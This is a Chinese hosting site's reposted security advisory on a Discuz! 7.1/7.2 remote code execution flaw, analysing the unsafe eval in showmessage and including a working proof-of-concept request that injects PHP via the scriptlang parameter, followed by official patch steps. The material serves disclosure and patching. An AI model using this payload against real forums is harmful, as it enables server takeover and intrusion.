更多... 新聞公告

• 端午節活動開始啦！
• 關于網站無法訪問，提示未備案或違法信
• “速成網站”助力企業快速建站
• 盤點存儲虛擬化的幾大優勢
• 中電信員工數66萬人 5年內寬帶提升
• 山西電信停用無限上網卡 被質疑單方毀
• 第一季度移動終端用戶增量中國居全球首
• 周鴻祎連揭小米機密 馬化騰回應暗含深
• 電商價格戰18日上演對決 天貓400
• 劉強東證實京東商城已購入3.cn和j
• 神九航天員成功接收第一封電子郵件
• 谷歌每天新發現約9500個惡意網站

導航菜單

• 關于我們
• 聯系方式
• 如何購買
• 付款方式
• 新聞公告
• 幫助中心
• 相關下載
• 備案專題

【嚴重】Discuz!最新漏洞

____________________________________________________________________________________________
1月7日消息，國內著名論壇程序DISCUZ最新發現0day漏洞，請使用DZ7.1和7.2的朋友抓緊打補丁以免被入侵。4個小時前官方剛出的補丁,估計現在黑客正在瘋狂的利用這個0day呢。

　　Discuz! 重要安全補丁 20100110 For Discuz! 7.1 Discuz! 7.2
　　特別說明：產生漏洞的$scriptlang數組在安裝插件后已經初始化，因此有安裝插件的用戶不受影響。
　　漏洞介紹：
　　Discuz!新版本7.1與7.2版本中的showmessage函數中eval中執行的參數未初始化，可以任意提交，從而可以執行任意PHP命令。
　　漏洞分析：
　　下面來分析下這個遠程代碼執行漏洞，這個問題真的很嚴重，可以直接寫shell的：
　　一、漏洞來自showmessage函數：
　　function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {
　　extract($GLOBALS, EXTR_SKIP);//危險的用法，未初始化的變量可以直接帶進函數，直接導致了問題產生，from www.oldjun.com
　　global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
　　define('CACHE_FORBIDDEN', TRUE);
　　$hookscriptmessage = $show_message = $message;$messagehandle = 0;
　　$msgforward = unserialize($_DCACHE['settings']['msgforward']);
　　$refreshtime = intval($msgforward['refreshtime']);
　　$refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);
　　$msgforward['refreshtime'] = $refreshtime * 1000;
　　$url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);
　　$seccodecheck = $seccodestatus & 2;
　　if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {
　　$statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';
　　if($fp = @fopen($statlogfile, 'a')) {
　　@flock($fp, 2);
　　if(is_array($funcstatinfo)) {
　　$funcstatinfo = array_unique($funcstatinfo);
　　foreach($funcstatinfo as $funcinfo) {
　　fwrite($fp, funcstat_query($funcinfo, $message)."\n");
　　}
　　} else {
　　fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");
　　}
　　fclose($fp);
　　$funcstatinfo = $GLOBALS['funcstatinfo'] = '';
　　}
　　}
　　if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {
　　write_statlog($message);
　　}
　　if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {
　　updatesession();
　　dheader("location: ".str_replace('&', '&', $url_forward));
　　}
　　if(!empty($infloat)) {
　　if($extra) {
　　$messagehandle = $extra;
　　}
　　$extra = '';
　　}
　　if(in_array($extra, array('HALTED', 'NOPERM'))) {
　　$discuz_action = 254;
　　} else {
　　$discuz_action = 255;
　　}
　　include language('messages');
　　$vars = explode(':', $message);//只要含:就可以了
　　if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//兩個數字即可，用:分割
　　eval("\$show_message = \"".str_replace('"', '\"', $scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化，可以自定義，from www.safe5.com } elseif(isset($language[$message])) {
　　$pre = $inajax ? 'ajax_' : '';
　　eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");
　　unset($pre);
　　}
　　......
　　}
　　二、DZ的全局機制導致了未初始化的參數可以任意提交：
　　foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
　　foreach($$_request as $_key => $_value) {
　　$_key{0} != '_' && $$_key = daddslashes($_value);
　　}
　　}
　　三、misc.php正好有個可以自定義message的點，其實也是未初始化：
　　elseif($action == 'imme_binding' && $discuz_uid) {
　　if(isemail($id)) {
　　$msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'");
　　$msn = explode("\t", $msn);
　　$id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));
　　$msn = "$msn[0]\t$id";
　　$db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'");
　　showmessage('msn_binding_succeed', 'memcp.php');
　　} else {
　　if($result == 'Declined') {
　　dheader("Location: memcp.php");
　　} else {
　　showmessage($response['result']);//$response沒有初始化，可以自定義，from www.safe5.com
　　}
　　}
　　}
　　四、漏洞利用：
　　showmessage函數里$vars = explode(':', $message);然后message可以自己控制，于是就很容易了，參數是兩個自定義的數組。
　　五、漏洞修復：
　　1.有補丁的打補丁;
　　2.沒有補丁可以暫時先注釋引起漏洞的語句，或者對兩個變量賦個值。
　　poc：
　　(應Saiy的要求，不發exp了!)注冊一個用戶登陸,然后提交
　　misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}
　　下面是補丁：
　　更新內容:
　　修復版本存在的重要安全問題
　　修復版本中存在的其他使用 bug
　　安全級別
　　高
　　涉及版本
　　Discuz! 7.1 , Discuz! 7.2
　　修補方法:
　　1. 根據您的版本下載補丁包
　　7.1 用戶 http://download2.comsenz.com/Discuz/patch/7.1/D710_UPGRADE_TO_20100110.zip
　　7.2 用戶 http://download2.comsenz.com/Discuz/patch/7.2/D720_UPGRADE_TO_20100110.zip
　　2. 解壓縮文件
　　3. 上傳upload目錄中的所有文件到您的論壇, 覆蓋原有程序
　　4. 修復完成.
　　注意事項:
　　以下目錄中包含有相應版本的以往的補丁文件, 如果您尚未修復, 您應當按照補丁發布的時間, 依次覆蓋修復
　　http://download2.comsenz.com/Discuz/patch/7.1/
　　http://download2.comsenz.com/Discuz/patch/7.2/


                                                                       合租站長站


         

發布時間:2010-1-7